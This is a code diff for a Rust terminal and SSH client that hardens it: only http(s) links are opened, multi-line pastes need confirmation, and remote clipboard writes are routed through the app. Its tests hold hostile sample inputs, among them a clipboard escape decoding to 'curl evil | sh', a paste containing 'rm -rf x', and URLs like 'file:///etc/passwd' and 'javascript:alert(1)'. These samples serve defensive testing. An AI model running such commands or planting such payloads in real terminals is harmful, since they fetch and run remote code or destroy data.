|
||||||
ui.ctx().open_url(egui::OpenUrl::new_tab(&info.release_url));
|
&& widgets::button(ui, icon::ARROW_SQUARE_OUT, "View release").clicked()
|
||||||
|
&& !widgets::open_web_url(ui.ctx(), &info.release_url)
|
||||||
|
{
|
||||||
|
s.error("The release link is not a web address");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
ui.label(RichText::new("You are running the latest version.").color(t.success));
|
ui.label(RichText::new("You are running the latest version.").color(t.success));
|
||||||
@@ -851,7 +864,7 @@ When exporting profiles, encrypted export (a `.nexus` file) protects the file wi
|
|||||||
"## Exporting Profiles
|
"## Exporting Profiles
|
||||||
Use **Export (Encrypted)** from the sidebar menu or command palette. Choose which profiles to include and set a password to encrypt the file. Exported files use the `.nexus` extension. Plain **JSON** export is also available, optionally including secrets.
|
Use **Export (Encrypted)** from the sidebar menu or command palette. Choose which profiles to include and set a password to encrypt the file. Exported files use the `.nexus` extension. Plain **JSON** export is also available, optionally including secrets.
|
||||||
## Importing Profiles
|
## Importing Profiles
|
||||||
Use **Import (Encrypted)**, select a `.nexus` file (older `.link` exports from Alchementary Link work too) and enter the password used when exporting. Choose whether existing profiles are skipped, overwritten or duplicated. Imported profiles appear in your sidebar immediately.
|
Use **Import (Encrypted)**, select a `.nexus` file and enter the password used when exporting. Choose whether existing profiles are skipped, overwritten or duplicated. Imported profiles appear in your sidebar immediately.
|
||||||
## Importing from OpenSSH
|
## Importing from OpenSSH
|
||||||
If you have an existing `~/.ssh/config` file, go to **Settings → About** and click **Import ~/.ssh/config**. Nexus Terminal creates profiles from your SSH Host blocks, including hostnames, usernames, ports, identity files, and jump hosts.",
|
If you have an existing `~/.ssh/config` file, go to **Settings → About** and click **Import ~/.ssh/config**. Nexus Terminal creates profiles from your SSH Host blocks, including hostnames, usernames, ports, identity files, and jump hosts.",
|
||||||
),
|
),
|
||||||
@@ -921,6 +934,12 @@ Open two or more sessions and press {Mod+Shift+B} to turn on broadcast mode. Eve
|
|||||||
),
|
),
|
||||||
];
|
];
|
||||||
|
|
||||||
|
pub fn ssh_import_summary((n, skipped): (usize, usize)) -> String {
|
||||||
|
match skipped {
|
||||||
|
0 => format!("Imported {n} host(s) from ~/.ssh/config"),
|
||||||
|
k => format!("Imported {n} host(s) from ~/.ssh/config; skipped {k} that couldn't be used as-is"),
|
||||||
|
}
|
||||||
|
}
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|||||||
@@ -13,9 +13,10 @@ use nexus_core::clients::sftp::{self as rsftp, FileEntry, Progress};
|
|||||||
use nexus_core::keyfiles::safe_sftp_upload_name;
|
use nexus_core::keyfiles::safe_sftp_upload_name;
|
||||||
use nexus_core::models::Protocol;
|
use nexus_core::models::Protocol;
|
||||||
use nexus_core::service::Service;
|
use nexus_core::service::Service;
|
||||||
|
use parking_lot::Mutex;
|
||||||
use std::collections::{BTreeMap, HashMap, HashSet};
|
use std::collections::{BTreeMap, HashMap, HashSet};
|
||||||
use std::path::{Path, PathBuf};
|
use std::path::{Path, PathBuf};
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::Arc;
|
||||||
|
|
||||||
/// Worker results, applied on the UI thread.
|
/// Worker results, applied on the UI thread.
|
||||||
enum Done {
|
enum Done {
|
||||||
@@ -47,7 +48,7 @@ struct Inbox(Arc<Mutex<Vec<Done>>>, egui::Context);
|
|||||||
|
|
||||||
impl Inbox {
|
impl Inbox {
|
||||||
fn push(&self, d: Done) {
|
fn push(&self, d: Done) {
|
||||||
self.0.lock().unwrap().push(d);
|
self.0.lock().push(d);
|
||||||
self.1.request_repaint();
|
self.1.request_repaint();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -250,7 +251,7 @@ impl Sftp {
|
|||||||
let tr = self.transfers.remove(i);
|
let tr = self.transfers.remove(i);
|
||||||
if self.open_for.as_deref() != Some(session) {
|
if self.open_for.as_deref() != Some(session) {
|
||||||
let verb = if tr.upload { "↑ Uploaded" } else { "↓ Downloaded" };
|
let verb = if tr.upload { "↑ Uploaded" } else { "↓ Downloaded" };
|
||||||
self.inbox.lock().unwrap().push(Done::Toast(format!("{verb} {}", base_name(&tr.path))));
|
self.inbox.lock().push(Done::Toast(format!("{verb} {}", base_name(&tr.path))));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -269,7 +270,7 @@ impl Sftp {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn drain(&mut self, s: &mut Shared) {
|
fn drain(&mut self, s: &mut Shared) {
|
||||||
let items = std::mem::take(&mut *self.inbox.lock().unwrap());
|
let items = std::mem::take(&mut *self.inbox.lock());
|
||||||
for d in items {
|
for d in items {
|
||||||
match d {
|
match d {
|
||||||
Done::Listed { session, path, files } => {
|
Done::Listed { session, path, files } => {
|
||||||
@@ -1122,7 +1123,8 @@ fn paste_files(s: &mut Shared, session: &str, paths: &[PathBuf]) {
|
|||||||
}
|
}
|
||||||
if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) {
|
if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) {
|
||||||
let mut out = crate::terminal::TermResponse::default();
|
let mut out = crate::terminal::TermResponse::default();
|
||||||
term.paste(&combined, &mut out);
|
// The drop was already confirmed in its own dialog.
|
||||||
|
term.paste_now(&combined, &mut out);
|
||||||
s.request(Request::Write(session.into(), out.input));
|
s.request(Request::Write(session.into(), out.input));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -185,7 +185,7 @@ fn local_row(app: &mut App, ui: &mut Ui) {
|
|||||||
fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) {
|
fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) {
|
||||||
let t = Tokens::get(ui.ctx());
|
let t = Tokens::get(ui.ctx());
|
||||||
let selected = app.sidebar.selected.contains(&p.id);
|
let selected = app.sidebar.selected.contains(&p.id);
|
||||||
let (r, resp) = ui.allocate_exact_size(vec2(ui.available_width(), 34.0), Sense::click());
|
let (r, resp) = ui.allocate_exact_size(vec2(ui.available_width(), 40.0), Sense::click());
|
||||||
let r = r.shrink2(vec2(6.0, 1.0));
|
let r = r.shrink2(vec2(6.0, 1.0));
|
||||||
if selected {
|
if selected {
|
||||||
ui.painter().rect_filled(r, 6.0, t.row_selected);
|
ui.painter().rect_filled(r, 6.0, t.row_selected);
|
||||||
@@ -203,9 +203,13 @@ fn row(app: &mut App, ui: &mut Ui, p: &Profile, section: &str) {
|
|||||||
let name = if p.display_name.is_empty() { &p.host } else { &p.display_name };
|
let name = if p.display_name.is_empty() { &p.host } else { &p.display_name };
|
||||||
let text_r = Rect::from_min_max(r.min + vec2(24.0, 0.0), r.max - vec2(46.0, 0.0));
|
let text_r = Rect::from_min_max(r.min + vec2(24.0, 0.0), r.max - vec2(46.0, 0.0));
|
||||||
let painter = ui.painter().with_clip_rect(text_r);
|
let painter = ui.painter().with_clip_rect(text_r);
|
||||||
painter.text(text_r.left_top() + vec2(0.0, 3.0), Align2::LEFT_TOP, name, egui::FontId::proportional(13.0), t.text);
|
// Name, then a clear gap, then user@host; sized from the name's real row height so the two
|
||||||
|
// lines never crowd each other.
|
||||||
|
let name_font = egui::FontId::proportional(13.0);
|
||||||
|
let name_h = ui.fonts_mut(|f| f.row_height(&name_font));
|
||||||
|
painter.text(text_r.left_top() + vec2(0.0, 4.0), Align2::LEFT_TOP, name, name_font, t.text);
|
||||||
let sub = if p.username.is_empty() || p.protocol == nexus_core::models::Protocol::Serial { p.host.clone() } else { format!("{}@{}", p.username, p.host) };
|
let sub = if p.username.is_empty() || p.protocol == nexus_core::models::Protocol::Serial { p.host.clone() } else { format!("{}@{}", p.username, p.host) };
|
||||||
painter.text(text_r.left_bottom() - vec2(0.0, 3.0), Align2::LEFT_BOTTOM, sub, egui::FontId::proportional(11.0), t.text_faint);
|
painter.text(text_r.left_top() + vec2(0.0, 4.0 + name_h + 3.0), Align2::LEFT_TOP, sub, egui::FontId::proportional(11.0), t.text_faint);
|
||||||
ui.painter().text(r.right_center() - vec2(8.0, 0.0), Align2::RIGHT_CENTER, protocol_badge(p.protocol), theme::semibold(9.0), col);
|
ui.painter().text(r.right_center() - vec2(8.0, 0.0), Align2::RIGHT_CENTER, protocol_badge(p.protocol), theme::semibold(9.0), col);
|
||||||
if p.favourite {
|
if p.favourite {
|
||||||
ui.painter().text(r.right_center() - vec2(36.0, 0.0), Align2::RIGHT_CENTER, "★", egui::FontId::proportional(11.0), t.warning);
|
ui.painter().text(r.right_center() - vec2(36.0, 0.0), Align2::RIGHT_CENTER, "★", egui::FontId::proportional(11.0), t.warning);
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//! SSH Key Manager window: key pairs in ~/.ssh — copy public key, delete, generate (ssh-keygen).
|
//! SSH Key Manager window: key pairs in ~/.ssh — copy public key, delete, generate (in-process, OpenSSH format).
|
||||||
|
|
||||||
use crate::settings::{Job, poll};
|
use crate::settings::{Job, poll};
|
||||||
use crate::state::Shared;
|
use crate::state::Shared;
|
||||||
|
|||||||
@@ -328,6 +328,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
|
|||||||
find_bar(app, ui, term);
|
find_bar(app, ui, term);
|
||||||
}
|
}
|
||||||
let theme = crate::terminal_themes::get(&theme_id);
|
let theme = crate::terminal_themes::get(&theme_id);
|
||||||
|
term.confirm_paste = app.s.prefs.confirm_multiline_paste;
|
||||||
let r = term.ui(ui, theme, focused_tab);
|
let r = term.ui(ui, theme, focused_tab);
|
||||||
if pane.highlight_until > app.s.now {
|
if pane.highlight_until > app.s.now {
|
||||||
ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside);
|
ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside);
|
||||||
@@ -338,7 +339,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
|
|||||||
View::Raw(v) => v.ui(ui, &mut app.s),
|
View::Raw(v) => v.ui(ui, &mut app.s),
|
||||||
View::Irc(v) => v.ui(ui, &mut app.s),
|
View::Irc(v) => v.ui(ui, &mut app.s),
|
||||||
View::Github(v) => v.ui(ui, &mut app.s),
|
View::Github(v) => v.ui(ui, &mut app.s),
|
||||||
View::Vnc(v) => v.ui(ui, &mut app.s),
|
View::Desktop(v) => v.ui(ui, &mut app.s),
|
||||||
}
|
}
|
||||||
let state = app.s.session_state(id).unwrap_or(pane.info.state);
|
let state = app.s.session_state(id).unwrap_or(pane.info.state);
|
||||||
let local_exited = pane.local_exited;
|
let local_exited = pane.local_exited;
|
||||||
@@ -379,6 +380,12 @@ fn terminal_response(app: &mut App, id: &str, r: TermResponse, local_exited: boo
|
|||||||
if r.bell {
|
if r.bell {
|
||||||
app.s.ctx.request_repaint();
|
app.s.ctx.request_repaint();
|
||||||
}
|
}
|
||||||
|
if let Some(text) = r.clipboard {
|
||||||
|
app.remote_clipboard(&text);
|
||||||
|
}
|
||||||
|
if let Some(text) = r.confirm_paste {
|
||||||
|
app.dialog = Some(crate::app::Dialog::ConfirmPaste { session: id.into(), text });
|
||||||
|
}
|
||||||
if let Some(a) = r.menu {
|
if let Some(a) = r.menu {
|
||||||
app.terminal_menu(id, a);
|
app.terminal_menu(id, a);
|
||||||
}
|
}
|
||||||
|
|||||||
+57
-10
@@ -12,7 +12,8 @@ use alacritty_terminal::term::test::TermSize;
|
|||||||
use alacritty_terminal::term::{Config, Term, TermMode};
|
use alacritty_terminal::term::{Config, Term, TermMode};
|
||||||
use alacritty_terminal::vte::ansi::{self, Color, CursorShape, NamedColor, Processor, StdSyncHandler};
|
use alacritty_terminal::vte::ansi::{self, Color, CursorShape, NamedColor, Processor, StdSyncHandler};
|
||||||
use egui::{Color32, Event, FontId, Key, Modifiers, PointerButton, Pos2, Rect, Sense, Stroke, Ui, pos2, vec2};
|
use egui::{Color32, Event, FontId, Key, Modifiers, PointerButton, Pos2, Rect, Sense, Stroke, Ui, pos2, vec2};
|
||||||
use std::sync::{Arc, Mutex};
|
use parking_lot::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
#[derive(Clone, Default)]
|
#[derive(Clone, Default)]
|
||||||
struct Listener(Arc<Mutex<Vec<TermEvent>>>);
|
struct Listener(Arc<Mutex<Vec<TermEvent>>>);
|
||||||
@@ -20,7 +21,7 @@ struct Listener(Arc<Mutex<Vec<TermEvent>>>);
|
|||||||
impl EventListener for Listener {
|
impl EventListener for Listener {
|
||||||
fn send_event(&self, e: TermEvent) {
|
fn send_event(&self, e: TermEvent) {
|
||||||
if matches!(e, TermEvent::PtyWrite(_) | TermEvent::Title(_) | TermEvent::Bell | TermEvent::ClipboardStore(..)) {
|
if matches!(e, TermEvent::PtyWrite(_) | TermEvent::Title(_) | TermEvent::Bell | TermEvent::ClipboardStore(..)) {
|
||||||
self.0.lock().unwrap().push(e);
|
self.0.lock().push(e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -52,6 +53,10 @@ pub struct TermResponse {
|
|||||||
pub title: Option<String>,
|
pub title: Option<String>,
|
||||||
pub bell: bool,
|
pub bell: bool,
|
||||||
pub focused: bool,
|
pub focused: bool,
|
||||||
|
/// Text the remote asked to put on the clipboard (OSC 52); the app applies its preference.
|
||||||
|
pub clipboard: Option<String>,
|
||||||
|
/// A paste held back for confirmation (see [`TermView::paste`]).
|
||||||
|
pub confirm_paste: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Clone, Copy, PartialEq, Eq, Default)]
|
#[derive(Clone, Copy, PartialEq, Eq, Default)]
|
||||||
@@ -100,6 +105,8 @@ pub struct TermView {
|
|||||||
generation: u64,
|
generation: u64,
|
||||||
pub find: Option<Find>,
|
pub find: Option<Find>,
|
||||||
focus_requested: bool,
|
focus_requested: bool,
|
||||||
|
/// Hold back multi-line pastes that would run unbracketed (set from preferences each frame).
|
||||||
|
pub confirm_paste: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#;
|
const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#;
|
||||||
@@ -127,6 +134,7 @@ impl TermView {
|
|||||||
generation: 0,
|
generation: 0,
|
||||||
find: None,
|
find: None,
|
||||||
focus_requested: true,
|
focus_requested: true,
|
||||||
|
confirm_paste: false,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -287,12 +295,12 @@ impl TermView {
|
|||||||
self.mouse(ui, &resp, origin, cw, ch, &mut out);
|
self.mouse(ui, &resp, origin, cw, ch, &mut out);
|
||||||
|
|
||||||
// Terminal-originated events.
|
// Terminal-originated events.
|
||||||
for e in std::mem::take(&mut *self.events.0.lock().unwrap()) {
|
for e in std::mem::take(&mut *self.events.0.lock()) {
|
||||||
match e {
|
match e {
|
||||||
TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()),
|
TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()),
|
||||||
TermEvent::Title(t) => out.title = Some(t),
|
TermEvent::Title(t) => out.title = Some(t),
|
||||||
TermEvent::Bell => out.bell = true,
|
TermEvent::Bell => out.bell = true,
|
||||||
TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s),
|
TermEvent::ClipboardStore(_, s) => out.clipboard = Some(s),
|
||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -398,7 +406,17 @@ impl TermView {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Pastes `text`, or hands it back in `out.confirm_paste` when `confirm_paste` is set and the
|
||||||
|
/// newlines would run each line immediately (no bracketed paste).
|
||||||
pub fn paste(&mut self, text: &str, out: &mut TermResponse) {
|
pub fn paste(&mut self, text: &str, out: &mut TermResponse) {
|
||||||
|
if self.confirm_paste && !self.term.mode().contains(TermMode::BRACKETED_PASTE) && text.contains(['\n', '\r']) {
|
||||||
|
out.confirm_paste = Some(text.into());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self.paste_now(text, out);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn paste_now(&mut self, text: &str, out: &mut TermResponse) {
|
||||||
let text = text.replace("\r\n", "\r").replace('\n', "\r");
|
let text = text.replace("\r\n", "\r").replace('\n', "\r");
|
||||||
if self.term.mode().contains(TermMode::BRACKETED_PASTE) {
|
if self.term.mode().contains(TermMode::BRACKETED_PASTE) {
|
||||||
out.input.extend_from_slice(b"\x1b[200~");
|
out.input.extend_from_slice(b"\x1b[200~");
|
||||||
@@ -610,14 +628,16 @@ impl TermView {
|
|||||||
}
|
}
|
||||||
let hidden = cell.flags.contains(Flags::HIDDEN);
|
let hidden = cell.flags.contains(Flags::HIDDEN);
|
||||||
let chr = if hidden { ' ' } else { cell.c };
|
let chr = if hidden { ' ' } else { cell.c };
|
||||||
// ASCII runs share one text call; anything else is placed on its own cell so a
|
// ASCII runs share one text call; anything else (including ASCII with combining
|
||||||
// fallback font's advance can't push later glyphs off the grid.
|
// marks) is placed on its own cell so a fallback font's advance can't push later
|
||||||
if chr.is_ascii() && width == 1.0 && fg == run_color && !run.is_empty() {
|
// glyphs off the grid.
|
||||||
|
let plain = chr.is_ascii() && width == 1.0 && cell.zerowidth().is_none();
|
||||||
|
if plain && fg == run_color && !run.is_empty() {
|
||||||
run.push(chr);
|
run.push(chr);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
flush(&mut run, run_x, run_color);
|
flush(&mut run, run_x, run_color);
|
||||||
if chr.is_ascii() && width == 1.0 {
|
if plain {
|
||||||
run.push(chr);
|
run.push(chr);
|
||||||
run_x = x;
|
run_x = x;
|
||||||
run_color = fg;
|
run_color = fg;
|
||||||
@@ -626,7 +646,9 @@ impl TermView {
|
|||||||
if let Some(z) = cell.zerowidth() {
|
if let Some(z) = cell.zerowidth() {
|
||||||
s.extend(z);
|
s.extend(z);
|
||||||
}
|
}
|
||||||
painter.text(cell_rect.center(), egui::Align2::CENTER_CENTER, s, font.clone(), fg);
|
// Top-anchored like the ASCII runs: centring vertically in the (rounded-up)
|
||||||
|
// cell height drew accented and other non-ASCII glyphs below the baseline.
|
||||||
|
painter.text(pos2(cell_rect.center().x, y), egui::Align2::CENTER_TOP, s, font.clone(), fg);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
flush(&mut run, run_x, run_color);
|
flush(&mut run, run_x, run_color);
|
||||||
@@ -855,6 +877,31 @@ mod tests {
|
|||||||
assert!(key_bytes(Key::A, none, TermMode::empty()).is_none());
|
assert!(key_bytes(Key::A, none, TermMode::empty()).is_none());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn remote_clipboard_and_multiline_paste_go_to_the_app() {
|
||||||
|
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
|
||||||
|
t.feed(b"\x1b]52;c;Y3VybCBldmlsIHwgc2g=\x07");
|
||||||
|
let ctx = egui::Context::default();
|
||||||
|
let mut out = None;
|
||||||
|
let mut full = ctx.run_ui(Default::default(), |ui| out = Some(t.ui(ui, crate::terminal_themes::get("charcoal"), true)));
|
||||||
|
full.textures_delta.clear();
|
||||||
|
assert_eq!(out.unwrap().clipboard.as_deref(), Some("curl evil | sh"));
|
||||||
|
assert!(!full.platform_output.commands.iter().any(|c| matches!(c, egui::OutputCommand::CopyText(_))), "the view must not touch the clipboard itself");
|
||||||
|
|
||||||
|
let mut out = TermResponse::default();
|
||||||
|
t.confirm_paste = true;
|
||||||
|
t.paste("ls\nrm -rf x\n", &mut out);
|
||||||
|
assert!(out.input.is_empty());
|
||||||
|
assert_eq!(out.confirm_paste.as_deref(), Some("ls\nrm -rf x\n"));
|
||||||
|
let mut out = TermResponse::default();
|
||||||
|
t.paste("one line", &mut out);
|
||||||
|
assert_eq!(out.input, b"one line");
|
||||||
|
t.feed(b"\x1b[?2004h");
|
||||||
|
let mut out = TermResponse::default();
|
||||||
|
t.paste("a\nb", &mut out);
|
||||||
|
assert!(out.confirm_paste.is_none() && out.input.starts_with(b"\x1b[200~"), "bracketed paste needs no prompt");
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn feeds_text_and_finds_it() {
|
fn feeds_text_and_finds_it() {
|
||||||
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
|
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
|
||||||
@@ -872,7 +919,7 @@ mod tests {
|
|||||||
fn replies_to_device_attributes() {
|
fn replies_to_device_attributes() {
|
||||||
let mut t = TermView::new(10, 14.0, CursorStyle::Block);
|
let mut t = TermView::new(10, 14.0, CursorStyle::Block);
|
||||||
t.feed(b"\x1b[6n");
|
t.feed(b"\x1b[6n");
|
||||||
let ev = t.events.0.lock().unwrap();
|
let ev = t.events.0.lock();
|
||||||
assert!(ev.iter().any(|e| matches!(e, TermEvent::PtyWrite(s) if s == "\x1b[1;1R")));
|
assert!(ev.iter().any(|e| matches!(e, TermEvent::PtyWrite(s) if s == "\x1b[1;1R")));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//! Profile export/import: encrypted `.nexus` (also reads `.link`) and plain JSON.
|
//! Profile export/import: encrypted `.nexus` and plain JSON.
|
||||||
|
|
||||||
use crate::settings::{Job, poll};
|
use crate::settings::{Job, poll};
|
||||||
use crate::state::{Request, Shared};
|
use crate::state::{Request, Shared};
|
||||||
@@ -54,7 +54,7 @@ impl Transfer {
|
|||||||
|
|
||||||
pub fn import_encrypted(&mut self) {
|
pub fn import_encrypted(&mut self) {
|
||||||
if let Some(path) =
|
if let Some(path) =
|
||||||
rfd::FileDialog::new().set_title("Import Profiles").add_filter("Nexus Export", &[EXTENSION, "link"]).add_filter("All files", &["*"]).pick_file()
|
rfd::FileDialog::new().set_title("Import Profiles").add_filter("Nexus Export", &[EXTENSION]).add_filter("All files", &["*"]).pick_file()
|
||||||
{
|
{
|
||||||
self.mode = Some(Mode::Import { path, pw: String::new(), strategy: "skip", status: String::new() });
|
self.mode = Some(Mode::Import { path, pw: String::new(), strategy: "skip", status: String::new() });
|
||||||
}
|
}
|
||||||
@@ -210,7 +210,12 @@ impl Transfer {
|
|||||||
.add_filter("JSON", &["json"])
|
.add_filter("JSON", &["json"])
|
||||||
.save_file()
|
.save_file()
|
||||||
{
|
{
|
||||||
match s.svc.export_json(*include_secrets).map_err(|e| e.to_string()).and_then(|j| std::fs::write(&path, j).map_err(|e| e.to_string())) {
|
match s
|
||||||
|
.svc
|
||||||
|
.export_json(*include_secrets)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
.and_then(|j| nexus_core::secrets::write_private(&path, j.as_bytes()).map_err(|e| e.to_string()))
|
||||||
|
{
|
||||||
Ok(()) => {
|
Ok(()) => {
|
||||||
s.success(format!("Exported {} profile(s) to {}", s.profiles.len(), path.display()));
|
s.success(format!("Exported {} profile(s) to {}", s.profiles.len(), path.display()));
|
||||||
close = true;
|
close = true;
|
||||||
|
|||||||
@@ -1,17 +1,18 @@
|
|||||||
//! How a session is drawn. Terminal-style protocols share `TermView`; the rest have their own.
|
//! How a session is drawn. Terminal-style protocols share `TermView`; the rest have their own.
|
||||||
|
|
||||||
|
use crate::desktop_view::DesktopView;
|
||||||
use crate::github_view::GithubView;
|
use crate::github_view::GithubView;
|
||||||
use crate::irc_view::IrcView;
|
use crate::irc_view::IrcView;
|
||||||
use crate::raw_view::RawView;
|
use crate::raw_view::RawView;
|
||||||
use crate::terminal::TermView;
|
use crate::terminal::TermView;
|
||||||
use crate::vnc_view::VncView;
|
|
||||||
|
|
||||||
pub enum View {
|
pub enum View {
|
||||||
Terminal(Box<TermView>),
|
Terminal(Box<TermView>),
|
||||||
Raw(Box<RawView>),
|
Raw(Box<RawView>),
|
||||||
Irc(Box<IrcView>),
|
Irc(Box<IrcView>),
|
||||||
Github(Box<GithubView>),
|
Github(Box<GithubView>),
|
||||||
Vnc(Box<VncView>),
|
/// VNC or RDP.
|
||||||
|
Desktop(Box<DesktopView>),
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Protocol badge colour (the web build's --protocol-* tokens).
|
/// Protocol badge colour (the web build's --protocol-* tokens).
|
||||||
@@ -24,6 +25,7 @@ pub fn protocol_color(p: nexus_core::models::Protocol) -> egui::Color32 {
|
|||||||
Raw => rgb(0xab, 0x47, 0xbc),
|
Raw => rgb(0xab, 0x47, 0xbc),
|
||||||
Github => rgb(0x7c, 0x8a, 0xff),
|
Github => rgb(0x7c, 0x8a, 0xff),
|
||||||
Vnc => rgb(0xe8, 0x5d, 0x4a),
|
Vnc => rgb(0xe8, 0x5d, 0x4a),
|
||||||
|
Rdp => rgb(0x26, 0xa6, 0x9a),
|
||||||
Irc => rgb(0xd8, 0xb2, 0x4c),
|
Irc => rgb(0xd8, 0xb2, 0x4c),
|
||||||
Local => rgb(0x8b, 0xc3, 0x4a),
|
Local => rgb(0x8b, 0xc3, 0x4a),
|
||||||
Serial => rgb(0x4f, 0xa3, 0xe0),
|
Serial => rgb(0x4f, 0xa3, 0xe0),
|
||||||
@@ -39,6 +41,7 @@ pub fn protocol_badge(p: nexus_core::models::Protocol) -> &'static str {
|
|||||||
Raw => "RAW",
|
Raw => "RAW",
|
||||||
Github => "GitHub",
|
Github => "GitHub",
|
||||||
Vnc => "VNC",
|
Vnc => "VNC",
|
||||||
|
Rdp => "RDP",
|
||||||
Irc => "IRC",
|
Irc => "IRC",
|
||||||
Local => "LOCAL",
|
Local => "LOCAL",
|
||||||
Serial => "SERIAL",
|
Serial => "SERIAL",
|
||||||
|
|||||||
@@ -125,6 +125,24 @@ pub fn group(n: u64) -> String {
|
|||||||
out
|
out
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Whether `url` is a plain web link. Links that arrive from the network (update manifests,
|
||||||
|
/// GitHub API responses) are only handed to the system opener when they are http(s), so a
|
||||||
|
/// hostile or spoofed server can't launch `file:`, `ssh:` or custom-scheme handlers.
|
||||||
|
pub fn is_web_url(url: &str) -> bool {
|
||||||
|
let u = url.trim();
|
||||||
|
(u.len() > 8 && u[..8].eq_ignore_ascii_case("https://")) || (u.len() > 7 && u[..7].eq_ignore_ascii_case("http://"))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Opens `url` in the browser if it is a web link; returns false (and opens nothing) otherwise.
|
||||||
|
pub fn open_web_url(ctx: &egui::Context, url: &str) -> bool {
|
||||||
|
if !is_web_url(url) {
|
||||||
|
eprintln!("refusing to open non-web URL {url:?}");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
ctx.open_url(egui::OpenUrl::new_tab(url.trim()));
|
||||||
|
true
|
||||||
|
}
|
||||||
|
|
||||||
pub fn human_size(n: u64) -> String {
|
pub fn human_size(n: u64) -> String {
|
||||||
const U: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"];
|
const U: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"];
|
||||||
let mut v = n as f64;
|
let mut v = n as f64;
|
||||||
@@ -142,4 +160,14 @@ mod tests {
|
|||||||
fn helpers() {
|
fn helpers() {
|
||||||
assert_eq!(super::group(1234567), "1,234,567");
|
assert_eq!(super::group(1234567), "1,234,567");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn only_web_urls_are_opened() {
|
||||||
|
for ok in ["https://dixon.cx/downloads/nexus/", "http://localhost:3000/x", " HTTPS://Example.com "] {
|
||||||
|
assert!(super::is_web_url(ok), "{ok}");
|
||||||
|
}
|
||||||
|
for bad in ["", "https://", "file:///etc/passwd", "ssh://evil", "javascript:alert(1)", "ms-msdt:/id x", "ftp://host/", "//host/path"] {
|
||||||
|
assert!(!super::is_web_url(bad), "{bad}");
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,6 +21,8 @@ tokio = { version = "1.53.2", features = ["full"] }
|
|||||||
sha2 = "0.11.0"
|
sha2 = "0.11.0"
|
||||||
hmac = "0.13.0"
|
hmac = "0.13.0"
|
||||||
sha1 = "0.11.0"
|
sha1 = "0.11.0"
|
||||||
|
zeroize = "1"
|
||||||
|
parking_lot = "0.12"
|
||||||
portable-pty = "0.9.0"
|
portable-pty = "0.9.0"
|
||||||
serialport = { version = "4", default-features = false }
|
serialport = { version = "4", default-features = false }
|
||||||
des = "0.9"
|
des = "0.9"
|
||||||
@@ -29,6 +31,9 @@ image = { version = "0.25", default-features = false, features = ["jpeg"] }
|
|||||||
|
|
||||||
rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] }
|
rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] }
|
||||||
webpki-roots = "1"
|
webpki-roots = "1"
|
||||||
|
ironrdp = { version = "0.17", features = ["connector", "session", "graphics", "pdu", "svc", "dvc", "displaycontrol", "input"] }
|
||||||
|
ironrdp-blocking = "0.10"
|
||||||
|
x509-cert = { version = "0.2", default-features = false, features = ["std"] }
|
||||||
|
|
||||||
[dev-dependencies]
|
[dev-dependencies]
|
||||||
tiny_http = "0.12"
|
tiny_http = "0.12"
|
||||||
|
|||||||
@@ -0,0 +1,56 @@
|
|||||||
|
-- Migration 008: RDP protocol support
|
||||||
|
